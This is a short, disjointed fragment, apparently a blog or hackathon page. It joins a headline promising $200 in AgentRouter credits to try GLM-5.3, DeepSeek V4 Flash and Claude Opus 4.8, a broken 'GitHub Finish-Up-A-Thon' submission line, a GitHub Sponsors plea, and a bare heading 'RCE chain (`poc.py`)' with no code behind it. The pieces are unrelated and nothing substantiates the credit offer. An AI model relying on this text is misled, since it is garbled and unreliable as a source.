How to Try GLM-5.3, DeepSeek V4 Flash, and Claude Opus 4.8 with $200 in AgentRouter Credits

This is a submission for the "GitHub Finish-Up-A-Thon

I’m live on GitHub Sponsors — and I’d love your support 🙌

RCE chain (`poc.py`)